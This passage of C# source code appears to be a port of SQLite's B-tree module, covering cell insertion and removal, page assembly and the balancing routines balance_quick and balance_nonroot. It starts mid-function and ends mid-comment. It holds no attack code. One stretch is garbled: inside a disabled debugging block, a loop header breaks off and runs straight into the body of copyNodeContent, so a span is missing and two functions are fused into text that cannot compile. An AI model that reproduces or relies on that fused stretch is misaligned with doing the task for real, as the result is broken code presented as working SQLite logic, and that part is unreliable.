&pPage.aData[pBt.pageSize] // || sqlite3PagerIswriteable(pPage.pDbPage) ); /* Fill in the header. */ nHeader = 0; if (0 == pPage.leaf) { nHeader += 4; } if (pPage.hasData != 0) { nHeader += (int)putVarint(pCell, nHeader, (int)(nData + nZero)); //putVarint( pCell[nHeader], nData + nZero ); } else { nData = nZero = 0; } nHeader += putVarint(pCell, nHeader, (u64)nKey); //putVarint( pCell[nHeader], *(u64*)&nKey ); btreeParseCellPtr( pPage, pCell, ref info ); Debug.Assert(info.nHeader == nHeader); Debug.Assert(info.nKey == nKey); Debug.Assert(info.nData == (u32)(nData + nZero)); /* Fill in the payload */ nPayload = nData + nZero; if (pPage.intKey != 0) { pSrc = pData; nSrc = nData; nData = 0; } else { if (NEVER(nKey > 0x7fffffff || pKey == null)) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } nPayload += (int)nKey; pSrc = pKey; nSrc = (int)nKey; } pnSize = info.nSize; spaceLeft = info.nLocal; // pPayload = &pCell[nHeader]; pPayload = pCell; pPayloadIndex = nHeader; // pPrior = &pCell[info.iOverflow]; pPrior = pCell; pPriorIndex = info.iOverflow; while (nPayload > 0) { if (spaceLeft == 0) { #if !SQLITE_OMIT_AUTOVACUUM Pgno pgnoPtrmap = pgnoOvfl; /* Overflow page pointer-map entry page */ if (pBt.autoVacuum) { do { pgnoOvfl++; } while ( PTRMAP_ISPAGE(pBt, pgnoOvfl) || pgnoOvfl == PENDING_BYTE_PAGE(pBt) ); } #endif rc = allocateBtreePage(pBt, ref pOvfl, ref pgnoOvfl, pgnoOvfl, 0); #if !SQLITE_OMIT_AUTOVACUUM /* If the database supports auto-vacuum, and the second or subsequent ** overflow page is being allocated, add an entry to the pointer-map ** for that page now. ** ** If this is the first overflow page, then write a partial entry ** to the pointer-map. If we write nothing to this pointer-map slot, ** then the optimistic overflow chain processing in clearCell() ** may misinterpret the uninitialised values and delete the ** wrong pages from the database. */ if (pBt.autoVacuum && rc == SQLITE_OK) { u8 eType = (u8)(pgnoPtrmap != 0 ? PTRMAP_OVERFLOW2 : PTRMAP_OVERFLOW1); ptrmapPut(pBt, pgnoOvfl, eType, pgnoPtrmap, ref rc); if (rc != 0) { releasePage(pOvfl); } } #endif if (rc != 0) { releasePage(pToRelease); return rc; } /* If pToRelease is not zero than pPrior points into the data area ** of pToRelease. Make sure pToRelease is still writeable. */ Debug.Assert(pToRelease == null || sqlite3PagerIswriteable(pToRelease.pDbPage)); /* If pPrior is part of the data area of pPage, then make sure pPage ** is still writeable */ // TODO -- Determine if the following Assert is needed under c# //Debug.Assert( pPrior < pPage.aData || pPrior >= &pPage.aData[pBt.pageSize] // || sqlite3PagerIswriteable(pPage.pDbPage) ); sqlite3Put4byte(pPrior, pPriorIndex, pgnoOvfl); releasePage(pToRelease); pToRelease = pOvfl; pPrior = pOvfl.aData; pPriorIndex = 0; sqlite3Put4byte(pPrior, 0); pPayload = pOvfl.aData; pPayloadIndex = 4; //&pOvfl.aData[4]; spaceLeft = pBt.usableSize - 4; } n = nPayload; if (n > spaceLeft) n = spaceLeft; /* If pToRelease is not zero than pPayload points into the data area ** of pToRelease. Make sure pToRelease is still writeable. */ Debug.Assert(pToRelease == null || sqlite3PagerIswriteable(pToRelease.pDbPage)); /* If pPayload is part of the data area of pPage, then make sure pPage ** is still writeable */ // TODO -- Determine if the following Assert is needed under c# //Debug.Assert( pPayload < pPage.aData || pPayload >= &pPage.aData[pBt.pageSize] // || sqlite3PagerIswriteable(pPage.pDbPage) ); if (nSrc > 0) { if (n > nSrc) n = nSrc; Debug.Assert(pSrc != null); Buffer.BlockCopy(pSrc, pSrcIndex, pPayload, pPayloadIndex, n);//memcpy(pPayload, pSrc, n); } else { byte[] pZeroBlob = new byte[n]; // memset(pPayload, 0, n); Buffer.BlockCopy(pZeroBlob, 0, pPayload, pPayloadIndex, n); } nPayload -= n; pPayloadIndex += n;// pPayload += n; pSrcIndex += n;// pSrc += n; nSrc -= n; spaceLeft -= n; if (nSrc == 0) { nSrc = nData; pSrc = pData; } } releasePage(pToRelease); return SQLITE_OK; } /* ** Remove the i-th cell from pPage. This routine effects pPage only. ** The cell content is not freed or deallocated. It is assumed that ** the cell content has been copied someplace else. This routine just ** removes the reference to the cell from pPage. ** ** "sz" must be the number of bytes in the cell. */ static void dropCell(MemPage pPage, int idx, int sz, ref int pRC) { int i; /* Loop counter */ int pc; /* Offset to cell content of cell being deleted */ u8[] data; /* pPage.aData */ int ptr; /* Used to move bytes around within data[] */ int rc; /* The return code */ int hdr; /* Beginning of the header. 0 most pages. 100 page 1 */ if (pRC != 0) return; Debug.Assert(idx >= 0 && idx < pPage.nCell); Debug.Assert(sz == cellSize(pPage, idx)); Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); data = pPage.aData; ptr = pPage.cellOffset + 2 * idx; //ptr = &data[pPage.cellOffset + 2 * idx]; pc = get2byte(data, ptr); hdr = pPage.hdrOffset; testcase(pc == get2byte(data, hdr + 5)); testcase(pc + sz == pPage.pBt.usableSize); if (pc < get2byte(data, hdr + 5) || pc + sz > pPage.pBt.usableSize) { #if SQLITE_DEBUG || DEBUG pRC = SQLITE_CORRUPT_BKPT(); #else pRC = SQLITE_CORRUPT_BKPT; #endif return; } rc = freeSpace(pPage, pc, sz); if (rc != 0) { pRC = rc; return; } //for ( i = idx + 1 ; i < pPage.nCell ; i++, ptr += 2 ) //{ // ptr[0] = ptr[2]; // ptr[1] = ptr[3]; //} Buffer.BlockCopy(data, ptr + 2, data, ptr, (pPage.nCell - 1 - idx) * 2); pPage.nCell--; data[pPage.hdrOffset + 3] = (byte)(pPage.nCell >> 8); data[pPage.hdrOffset + 4] = (byte)(pPage.nCell); //put2byte( data, hdr + 3, pPage.nCell ); pPage.nFree += 2; } /* ** Insert a new cell on pPage at cell index "i". pCell points to the ** content of the cell. ** ** If the cell content will fit on the page, then put it there. If it ** will not fit, then make a copy of the cell content into pTemp if ** pTemp is not null. Regardless of pTemp, allocate a new entry ** in pPage.aOvfl[] and make it point to the cell content (either ** in pTemp or the original pCell) and also record its index. ** Allocating a new entry in pPage.aCell[] implies that ** pPage.nOverflow is incremented. ** ** If nSkip is non-zero, then do not copy the first nSkip bytes of the ** cell. The caller will overwrite them after this function returns. If ** nSkip is non-zero, then pCell may not point to an invalid memory location ** (but pCell+nSkip is always valid). */ static void insertCell( MemPage pPage, /* Page into which we are copying */ int i, /* New cell becomes the i-th cell of the page */ u8[] pCell, /* Content of the new cell */ int sz, /* Bytes of content in pCell */ u8[] pTemp, /* Temp storage space for pCell, if needed */ Pgno iChild, /* If non-zero, replace first 4 bytes with this value */ ref int pRC /* Read and write return code from here */ ) { int idx = 0; /* Where to write new cell content in data[] */ int j; /* Loop counter */ int end; /* First byte past the last cell pointer in data[] */ int ins; /* Index in data[] where new cell pointer is inserted */ int cellOffset; /* Address of first cell pointer in data[] */ u8[] data; /* The content of the whole page */ u8 ptr; /* Used for moving information around in data[] */ int nSkip = (iChild != 0 ? 4 : 0); if (pRC != 0) return; Debug.Assert(i >= 0 && i <= pPage.nCell + pPage.nOverflow); Debug.Assert(pPage.nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460); Debug.Assert(pPage.nOverflow <= ArraySize(pPage.aOvfl)); Debug.Assert(sz == cellSizePtr(pPage, pCell)); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); if (pPage.nOverflow != 0 || sz + 2 > pPage.nFree) { if (pTemp != null) { Buffer.BlockCopy(pCell, nSkip, pTemp, nSkip, sz - nSkip);//memcpy(pTemp+nSkip, pCell+nSkip, sz-nSkip); pCell = pTemp; } if (iChild != 0) { sqlite3Put4byte(pCell, iChild); } j = pPage.nOverflow++; Debug.Assert(j < pPage.aOvfl.Length);//(int)(sizeof(pPage.aOvfl)/sizeof(pPage.aOvfl[0])) ); pPage.aOvfl[j].pCell = pCell; pPage.aOvfl[j].idx = (u16)i; } else { int rc = sqlite3PagerWrite(pPage.pDbPage); if (rc != SQLITE_OK) { pRC = rc; return; } Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); data = pPage.aData; cellOffset = pPage.cellOffset; end = cellOffset + 2 * pPage.nCell; ins = cellOffset + 2 * i; rc = allocateSpace(pPage, sz, ref idx); if (rc != 0) { pRC = rc; return; } /* The allocateSpace() routine guarantees the following two properties ** if it returns success */ Debug.Assert(idx >= end + 2); Debug.Assert(idx + sz <= pPage.pBt.usableSize); pPage.nCell++; pPage.nFree -= (u16)(2 + sz); Buffer.BlockCopy(pCell, nSkip, data, idx + nSkip, sz - nSkip); //memcpy( data[idx + nSkip], pCell + nSkip, sz - nSkip ); if (iChild != 0) { sqlite3Put4byte(data, idx, iChild); } //for(j=end, ptr=&data[j]; j>ins; j-=2, ptr-=2){ // ptr[0] = ptr[-2]; // ptr[1] = ptr[-1]; //} for (j = end ; j > ins; j -= 2) { data[j + 0] = data[j - 2]; data[j + 1] = data[j - 1]; } put2byte(data, ins, idx); put2byte(data, pPage.hdrOffset + 3, pPage.nCell); #if !SQLITE_OMIT_AUTOVACUUM if (pPage.pBt.autoVacuum) { /* The cell may contain a pointer to an overflow page. If so, write ** the entry for the overflow page into the pointer map. */ ptrmapPutOvflPtr(pPage, pCell, ref pRC); } #endif } } /* ** Add a list of cells to a page. The page should be initially empty. ** The cells are guaranteed to fit on the page. */ static void assemblePage( MemPage pPage, /* The page to be assemblied */ int nCell, /* The number of cells to add to this page */ u8[] apCell, /* Pointer to a single the cell bodies */ int[] aSize /* Sizes of the cells bodie*/ ) { int i; /* Loop counter */ int pCellptr; /* Address of next cell pointer */ int cellbody; /* Address of next cell body */ byte[] data = pPage.aData; /* Pointer to data for pPage */ int hdr = pPage.hdrOffset; /* Offset of header on pPage */ int nUsable = pPage.pBt.usableSize; /* Usable size of page */ Debug.Assert(pPage.nOverflow == 0); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); Debug.Assert(nCell >= 0 && nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460); Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); /* Check that the page has just been zeroed by zeroPage() */ Debug.Assert(pPage.nCell == 0); Debug.Assert(get2byte(data, hdr + 5) == nUsable); pCellptr = pPage.cellOffset + nCell * 2; //data[pPage.cellOffset + nCell * 2]; cellbody = nUsable; for (i = nCell - 1; i >= 0; i--) { pCellptr -= 2; cellbody -= aSize[i]; put2byte(data, pCellptr, cellbody); Buffer.BlockCopy(apCell, 0, data, cellbody, aSize[i]);// memcpy(data[cellbody], apCell[i], aSize[i]); } put2byte(data, hdr + 3, nCell); put2byte(data, hdr + 5, cellbody); pPage.nFree -= (u16)(nCell * 2 + nUsable - cellbody); pPage.nCell = (u16)nCell; } static void assemblePage( MemPage pPage, /* The page to be assemblied */ int nCell, /* The number of cells to add to this page */ u8[][] apCell, /* Pointers to cell bodies */ u16[] aSize, /* Sizes of the cells */ int offset /* Offset into the cell bodies, for c# */ ) { int i; /* Loop counter */ int pCellptr; /* Address of next cell pointer */ int cellbody; /* Address of next cell body */ byte[] data = pPage.aData; /* Pointer to data for pPage */ int hdr = pPage.hdrOffset; /* Offset of header on pPage */ int nUsable = pPage.pBt.usableSize; /* Usable size of page */ Debug.Assert(pPage.nOverflow == 0); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); Debug.Assert(nCell >= 0 && nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460); Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); /* Check that the page has just been zeroed by zeroPage() */ Debug.Assert(pPage.nCell == 0); Debug.Assert(get2byte(data, hdr + 5) == nUsable); pCellptr = pPage.cellOffset + nCell * 2; //data[pPage.cellOffset + nCell * 2]; cellbody = nUsable; for (i = nCell - 1; i >= 0; i--) { pCellptr -= 2; cellbody -= aSize[i + offset]; put2byte(data, pCellptr, cellbody); Buffer.BlockCopy(apCell[offset + i], 0, data, cellbody, aSize[i + offset]);// memcpy(&data[cellbody], apCell[i], aSize[i]); } put2byte(data, hdr + 3, nCell); put2byte(data, hdr + 5, cellbody); pPage.nFree -= (u16)(nCell * 2 + nUsable - cellbody); pPage.nCell = (u16)nCell; } static void assemblePage( MemPage pPage, /* The page to be assemblied */ int nCell, /* The number of cells to add to this page */ u8[] apCell, /* Pointers to cell bodies */ u16[] aSize /* Sizes of the cells */ ) { int i; /* Loop counter */ int pCellptr; /* Address of next cell pointer */ int cellbody; /* Address of next cell body */ u8[] data = pPage.aData; /* Pointer to data for pPage */ int hdr = pPage.hdrOffset; /* Offset of header on pPage */ int nUsable = pPage.pBt.usableSize; /* Usable size of page */ Debug.Assert(pPage.nOverflow == 0); Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); Debug.Assert(nCell >= 0 && nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460); Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); /* Check that the page has just been zeroed by zeroPage() */ Debug.Assert(pPage.nCell == 0); Debug.Assert(get2byte(data, hdr + 5) == nUsable); pCellptr = pPage.cellOffset + nCell * 2; //&data[pPage.cellOffset + nCell * 2]; cellbody = nUsable; for (i = nCell - 1; i >= 0; i--) { pCellptr -= 2; cellbody -= aSize[i]; put2byte(data, pCellptr, cellbody); Buffer.BlockCopy(apCell, 0, data, cellbody, aSize[i]);//memcpy( data[cellbody], apCell[i], aSize[i] ); } put2byte(data, hdr + 3, nCell); put2byte(data, hdr + 5, cellbody); pPage.nFree -= (u16)(nCell * 2 + nUsable - cellbody); pPage.nCell = (u16)nCell; } /* ** The following parameters determine how many adjacent pages get involved ** in a balancing operation. NN is the number of neighbors on either side ** of the page that participate in the balancing operation. NB is the ** total number of pages that participate, including the target page and ** NN neighbors on either side. ** ** The minimum value of NN is 1 (of course). Increasing NN above 1 ** (to 2 or 3) gives a modest improvement in SELECT and DELETE performance ** in exchange for a larger degradation in INSERT and UPDATE performance. ** The value of NN appears to give the best results overall. */ public const int NN = 1; /* Number of neighbors on either side of pPage */ public const int NB = (NN * 2 + 1); /* Total pages involved in the balance */ #if !SQLITE_OMIT_QUICKBALANCE /* ** This version of balance() handles the common special case where ** a new entry is being inserted on the extreme right-end of the ** tree, in other words, when the new entry will become the largest ** entry in the tree. ** ** Instead of trying to balance the 3 right-most leaf pages, just add ** a new page to the right-hand side and put the one new entry in ** that page. This leaves the right side of the tree somewhat ** unbalanced. But odds are that we will be inserting new entries ** at the end soon afterwards so the nearly empty page will quickly ** fill up. On average. ** ** pPage is the leaf page which is the right-most page in the tree. ** pParent is its parent. pPage must have a single overflow entry ** which is also the right-most entry on the page. ** ** The pSpace buffer is used to store a temporary copy of the divider ** cell that will be inserted into pParent. Such a cell consists of a 4 ** byte page number followed by a variable length integer. In other ** words, at most 13 bytes. Hence the pSpace buffer must be at ** least 13 bytes in size. */ static int balance_quick(MemPage pParent, MemPage pPage, u8[] pSpace) { BtShared pBt = pPage.pBt; /* B-Tree Database */ MemPage pNew = new MemPage();/* Newly allocated page */ int rc; /* Return Code */ Pgno pgnoNew = 0; /* Page number of pNew */ Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage)); Debug.Assert(pPage.nOverflow == 1); if (pPage.nCell <= 0) #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif /* Allocate a new page. This page will become the right-sibling of ** pPage. Make the parent page writable, so that the new divider cell ** may be inserted. If both these operations are successful, proceed. */ rc = allocateBtreePage(pBt, ref pNew, ref pgnoNew, 0, 0); if (rc == SQLITE_OK) { int pOut = 4;//u8 pOut = &pSpace[4]; u8[] pCell = pPage.aOvfl[0].pCell; int[] szCell = new int[1]; szCell[0] = cellSizePtr(pPage, pCell); int pStop; Debug.Assert(sqlite3PagerIswriteable(pNew.pDbPage)); Debug.Assert(pPage.aData[0] == (PTF_INTKEY | PTF_LEAFDATA | PTF_LEAF)); zeroPage(pNew, PTF_INTKEY | PTF_LEAFDATA | PTF_LEAF); assemblePage(pNew, 1, pCell, szCell); /* If this is an auto-vacuum database, update the pointer map ** with entries for the new page, and any pointer from the ** cell on the page to an overflow page. If either of these ** operations fails, the return code is set, but the contents ** of the parent page are still manipulated by thh code below. ** That is Ok, at this point the parent page is guaranteed to ** be marked as dirty. Returning an error code will cause a ** rollback, undoing any changes made to the parent page. */ #if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) if (pBt.autoVacuum) #else if (false) #endif { ptrmapPut(pBt, pgnoNew, PTRMAP_BTREE, pParent.pgno, ref rc); if (szCell[0] > pNew.minLocal) { ptrmapPutOvflPtr(pNew, pCell, ref rc); } } /* Create a divider cell to insert into pParent. The divider cell ** consists of a 4-byte page number (the page number of pPage) and ** a variable length key value (which must be the same value as the ** largest key on pPage). ** ** To find the largest key value on pPage, first find the right-most ** cell on pPage. The first two fields of this cell are the ** record-length (a variable length integer at most 32-bits in size) ** and the key value (a variable length integer, may have any value). ** The first of the while(...) loops below skips over the record-length ** field. The second while(...) loop copies the key value from the ** cell on pPage into the pSpace buffer. */ int iCell = findCell(pPage, pPage.nCell - 1); //pCell = findCell( pPage, pPage.nCell - 1 ); pCell = pPage.aData; int _pCell = iCell; pStop = _pCell + 9; //pStop = &pCell[9]; while (((pCell[_pCell++]) & 0x80) != 0 && _pCell < pStop) ; //while ( ( *( pCell++ ) & 0x80 ) && pCell < pStop ) ; pStop = _pCell + 9;//pStop = &pCell[9]; while (((pSpace[pOut++] = pCell[_pCell++]) & 0x80) != 0 && _pCell < pStop) ; //while ( ( ( *( pOut++ ) = *( pCell++ ) ) & 0x80 ) && pCell < pStop ) ; /* Insert the new divider cell into pParent. */ insertCell(pParent, pParent.nCell, pSpace, pOut, //(int)(pOut-pSpace), null, pPage.pgno, ref rc); /* Set the right-child pointer of pParent to point to the new page. */ sqlite3Put4byte(pParent.aData, pParent.hdrOffset + 8, pgnoNew); /* Release the reference to the new page. */ releasePage(pNew); } return rc; } #endif //* SQLITE_OMIT_QUICKBALANCE */ #if FALSE /* ** This function does not contribute anything to the operation of SQLite. ** it is sometimes activated temporarily while debugging code responsible ** for setting pointer-map entries. */ static int ptrmapCheckPages(MemPage **apPage, int nPage){ int i, j; for(i=0; i= iToHdr); Debug.Assert(get2byte(aFrom, iFromHdr + 5) <= pBt.usableSize); /* Copy the b-tree node content from page pFrom to page pTo. */ iData = get2byte(aFrom, iFromHdr + 5); Buffer.BlockCopy(aFrom, iData, aTo, iData, pBt.usableSize - iData);//memcpy(aTo[iData], ref aFrom[iData], pBt.usableSize-iData); Buffer.BlockCopy(aFrom, iFromHdr, aTo, iToHdr, pFrom.cellOffset + 2 * pFrom.nCell);//memcpy(aTo[iToHdr], ref aFrom[iFromHdr], pFrom.cellOffset + 2*pFrom.nCell); /* Reinitialize page pTo so that the contents of the MemPage structure ** match the new data. The initialization of pTo "cannot" fail, as the ** data copied from pFrom is known to be valid. */ pTo.isInit = 0; #if !NDEBUG || SQLITE_COVERAGE_TEST || DEBUG rc = btreeInitPage(pTo);//TESTONLY(rc = ) btreeInitPage(pTo); #else btreeInitPage(pTo); #endif Debug.Assert(rc == SQLITE_OK); /* If this is an auto-vacuum database, update the pointer-map entries ** for any b-tree or overflow pages that pTo now contains the pointers to. */ #if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) if (pBt.autoVacuum) #else if (false) #endif { pRC = setChildPtrmaps(pTo); } } } /* ** This routine redistributes cells on the iParentIdx'th child of pParent ** (hereafter "the page") and up to 2 siblings so that all pages have about the ** same amount of free space. Usually a single sibling on either side of the ** page are used in the balancing, though both siblings might come from one ** side if the page is the first or last child of its parent. If the page ** has fewer than 2 siblings (something which can only happen if the page ** is a root page or a child of a root page) then all available siblings ** participate in the balancing. ** ** The number of siblings of the page might be increased or decreased by ** one or two in an effort to keep pages nearly full but not over full. ** ** Note that when this routine is called, some of the cells on the page ** might not actually be stored in MemPage.aData[]. This can happen ** if the page is overfull. This routine ensures that all cells allocated ** to the page and its siblings fit into MemPage.aData[] before returning. ** ** In the course of balancing the page and its siblings, cells may be ** inserted into or removed from the parent page (pParent). Doing so ** may cause the parent page to become overfull or underfull. If this ** happens, it is the responsibility of the caller to invoke the correct ** balancing routine to fix this problem (see the balance() routine). ** ** If this routine fails for any reason, it might leave the database ** in a corrupted state. So if this routine fails, the database should ** be rolled back. ** ** The third argument to this function, aOvflSpace, is a pointer to a ** buffer big enough to hold one page. If while inserting cells into the parent ** page (pParent) the parent page becomes overfull, this buffer is ** used to store the parent's overflow cells. Because this function inserts ** a maximum of four divider cells into the parent page, and the maximum ** size of a cell stored within an internal node is always less than 1/4 ** of the page-size, the aOvflSpace[] buffer is guaranteed to be large ** enough for all overflow cells. ** ** If aOvflSpace is set to a null pointer, this function returns ** SQLITE_NOMEM. */ static int balance_nonroot( MemPage pParent, /* Parent page of siblings being balanced */ int iParentIdx, /* Index of "the page" in pParent */ u8[] aOvflSpace, /* page-size bytes of space for parent ovfl */ int isRoot /* True if pParent is a root-page */ ) { BtShared pBt; /* The whole database */ int nCell = 0; /* Number of cells in apCell[] */ int nMaxCells = 0; /* Allocated size of apCell, szCell, aFrom. */ int nNew = 0; /* Number of pages in apNew[] */ int nOld; /* Number of pages in apOld[] */ int i, j, k; /* Loop counters */ int nxDiv; /* Next divider slot in pParent.aCell[] */ int rc = SQLITE_OK; /* The return code */ u16 leafCorrection; /* 4 if pPage is a leaf. 0 if not */ int leafData; /* True if pPage is a leaf of a LEAFDATA tree */ int usableSpace; /* Bytes in pPage beyond the header */ int pageFlags; /* Value of pPage.aData[0] */ int subtotal; /* Subtotal of bytes in cells on one page */ //int iSpace1 = 0; /* First unused byte of aSpace1[] */ int iOvflSpace = 0; /* First unused byte of aOvflSpace[] */ int szScratch; /* Size of scratch memory requested */ MemPage[] apOld = new MemPage[NB]; /* pPage and up to two siblings */ MemPage[] apCopy = new MemPage[NB]; /* Private copies of apOld[] pages */ MemPage[] apNew = new MemPage[NB + 2];/* pPage and up to NB siblings after balancing */ int pRight; /* Location in parent of right-sibling pointer */ int[] apDiv = new int[NB - 1]; /* Divider cells in pParent */ int[] cntNew = new int[NB + 2]; /* Index in aCell[] of cell after i-th page */ int[] szNew = new int[NB + 2]; /* Combined size of cells place on i-th page */ u8[][] apCell = null; /* All cells begin balanced */ u16[] szCell; /* Local size of all cells in apCell[] */ //u8[] aSpace1; /* Space for copies of dividers cells */ Pgno pgno; /* Temp var to store a page number in */ pBt = pParent.pBt; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage)); #if FALSE TRACE("BALANCE: begin page %d child of %d\n", pPage.pgno, pParent.pgno); #endif /* At this point pParent may have at most one overflow cell. And if ** this overflow cell is present, it must be the cell with ** index iParentIdx. This scenario comes about when this function ** is called (indirectly) from sqlite3BtreeDelete(). */ Debug.Assert(pParent.nOverflow == 0 || pParent.nOverflow == 1); Debug.Assert(pParent.nOverflow == 0 || pParent.aOvfl[0].idx == iParentIdx); //if( !aOvflSpace ){ // return SQLITE_NOMEM; //} /* Find the sibling pages to balance. Also locate the cells in pParent ** that divide the siblings. An attempt is made to find NN siblings on ** either side of pPage. More siblings are taken from one side, however, ** if there are fewer than NN siblings on the other side. If pParent ** has NB or fewer children then all children of pParent are taken. ** ** This loop also drops the divider cells from the parent page. This ** way, the remainder of the function does not have to deal with any ** overflow cells in the parent page, since if any existed they will ** have already been removed. */ i = pParent.nOverflow + pParent.nCell; if (i < 2) { nxDiv = 0; nOld = i + 1; } else { nOld = 3; if (iParentIdx == 0) { nxDiv = 0; } else if (iParentIdx == i) { nxDiv = i - 2; } else { nxDiv = iParentIdx - 1; } i = 2; } if ((i + nxDiv - pParent.nOverflow) == pParent.nCell) { pRight = pParent.hdrOffset + 8; //&pParent.aData[pParent.hdrOffset + 8]; } else { pRight = findCell(pParent, i + nxDiv - pParent.nOverflow); } pgno = sqlite3Get4byte(pParent.aData, pRight); while (true) { rc = getAndInitPage(pBt, pgno, ref apOld[i]); if (rc != 0) { apOld = new MemPage[i + 1];//memset(apOld, 0, (i+1)*sizeof(MemPage*)); goto balance_cleanup; } nMaxCells += 1 + apOld[i].nCell + apOld[i].nOverflow; if ((i--) == 0) break; if (i + nxDiv == pParent.aOvfl[0].idx && pParent.nOverflow != 0) { apDiv[i] = 0;// = pParent.aOvfl[0].pCell; pgno = sqlite3Get4byte(pParent.aOvfl[0].pCell, apDiv[i]); szNew[i] = cellSizePtr(pParent, apDiv[i]); pParent.nOverflow = 0; } else { apDiv[i] = findCell(pParent, i + nxDiv - pParent.nOverflow); pgno = sqlite3Get4byte(pParent.aData, apDiv[i]); szNew[i] = cellSizePtr(pParent, apDiv[i]); /* Drop the cell from the parent page. apDiv[i] still points to ** the cell within the parent, even though it has been dropped. ** This is safe because dropping a cell only overwrites the first ** four bytes of it, and this function does not need the first ** four bytes of the divider cell. So the pointer is safe to use ** later on. ** ** Unless SQLite is compiled in secure-delete mode. In this case, ** the dropCell() routine will overwrite the entire cell with zeroes. ** In this case, temporarily copy the cell into the aOvflSpace[] ** buffer. It will be copied out again as soon as the aSpace[] buffer ** is allocated. */ #if SQLITE_SECURE_DELETE memcpy(aOvflSpace[apDiv[i]-pParent.aData], apDiv[i], szNew[i]); apDiv[i] = &aOvflSpace[apDiv[i]-pParent.aData]; #endif dropCell(pParent, i + nxDiv - pParent.nOverflow, szNew[i], ref rc); } } /* Make nMaxCells a multiple of 4 in order to preserve 8-byte ** alignment */ nMaxCells = (nMaxCells + 3) & ~3; /* ** Allocate space for memory structures */ //k = pBt.pageSize + ROUND8(sizeof(MemPage)); //szScratch = // nMaxCells*sizeof(u8*) /* apCell */ // + nMaxCells*sizeof(u16) /* szCell */ // + pBt.pageSize /* aSpace1 */ // + k*nOld; /* Page copies (apCopy) */ apCell = new byte[nMaxCells][];//apCell = sqlite3ScratchMalloc( szScratch ); //if( apCell==null ){ // rc = SQLITE_NOMEM; // goto balance_cleanup; //} szCell = new u16[nMaxCells];//(u16*)&apCell[nMaxCells]; //aSpace1 = new byte[pBt.pageSize * (nMaxCells)];// aSpace1 = (u8*)&szCell[nMaxCells]; //Debug.Assert( EIGHT_BYTE_ALIGNMENT(aSpace1) ); /* ** Load pointers to all cells on sibling pages and the divider cells ** into the local apCell[] array. Make copies of the divider cells ** into space obtained from aSpace1[] and remove the the divider Cells ** from pParent. ** ** If the siblings are on leaf pages, then the child pointers of the ** divider cells are stripped from the cells before they are copied ** into aSpace1[]. In this way, all cells in apCell[] are without ** child pointers. If siblings are not leaves, then all cell in ** apCell[] include child pointers. Either way, all cells in apCell[] ** are alike. ** ** leafCorrection: 4 if pPage is a leaf. 0 if pPage is not a leaf. ** leafData: 1 if pPage holds key+data and pParent holds only keys. */ leafCorrection = (u16)(apOld[0].leaf * 4); leafData = apOld[0].hasData; for (i = 0; i < nOld; i++) { int limit; /* Before doing anything else, take a copy of the i'th original sibling ** The rest of this function will use data from the copies rather ** that the original pages since the original pages will be in the ** process of being overwritten. */ //MemPage pOld = apCopy[i] = (MemPage*)&aSpace1[pBt.pageSize + k*i]; //memcpy(pOld, apOld[i], sizeof(MemPage)); //pOld.aData = (void*)&pOld[1]; //memcpy(pOld.aData, apOld[i].aData, pBt.pageSize); MemPage pOld = apCopy[i] = apOld[i].Copy(); limit = pOld.nCell + pOld.nOverflow; for (j = 0; j < limit; j++) { Debug.Assert(nCell < nMaxCells); //apCell[nCell] = findOverflowCell( pOld, j ); //szCell[nCell] = cellSizePtr( pOld, apCell, nCell ); int iFOFC = findOverflowCell(pOld, j); szCell[nCell] = cellSizePtr(pOld, iFOFC); // Copy the Data Locally apCell[nCell] = new u8[szCell[nCell]]; if (iFOFC < 0) // Overflow Cell Buffer.BlockCopy(pOld.aOvfl[-(iFOFC + 1)].pCell, 0, apCell[nCell], 0, szCell[nCell]); else Buffer.BlockCopy(pOld.aData, iFOFC, apCell[nCell], 0, szCell[nCell]); nCell++; } if (i < nOld - 1 && 0 == leafData) { u16 sz = (u16)szNew[i]; byte[] pTemp = new byte[sz + leafCorrection]; Debug.Assert(nCell < nMaxCells); szCell[nCell] = sz; //pTemp = &aSpace1[iSpace1]; //iSpace1 += sz; Debug.Assert(sz <= pBt.pageSize / 4); //Debug.Assert(iSpace1 <= pBt.pageSize); Buffer.BlockCopy(pParent.aData, apDiv[i], pTemp, 0, sz);//memcpy( pTemp, apDiv[i], sz ); apCell[nCell] = new byte[sz]; Buffer.BlockCopy(pTemp, leafCorrection, apCell[nCell], 0, sz);//apCell[nCell] = pTemp + leafCorrection; Debug.Assert(leafCorrection == 0 || leafCorrection == 4); szCell[nCell] = (u16)(szCell[nCell] - leafCorrection); if (0 == pOld.leaf) { Debug.Assert(leafCorrection == 0); Debug.Assert(pOld.hdrOffset == 0); /* The right pointer of the child page pOld becomes the left ** pointer of the divider cell */ Buffer.BlockCopy(pOld.aData, 8, apCell[nCell], 0, 4);//memcpy( apCell[nCell], ref pOld.aData[8], 4 ); } else { Debug.Assert(leafCorrection == 4); if (szCell[nCell] < 4) { /* Do not allow any cells smaller than 4 bytes. */ szCell[nCell] = 4; } } nCell++; } } /* ** Figure out the number of pages needed to hold all nCell cells. ** Store this number in "k". Also compute szNew[] which is the total ** size of all cells on the i-th page and cntNew[] which is the index ** in apCell[] of the cell that divides page i from page i+1. ** cntNew[k] should equal nCell. ** ** 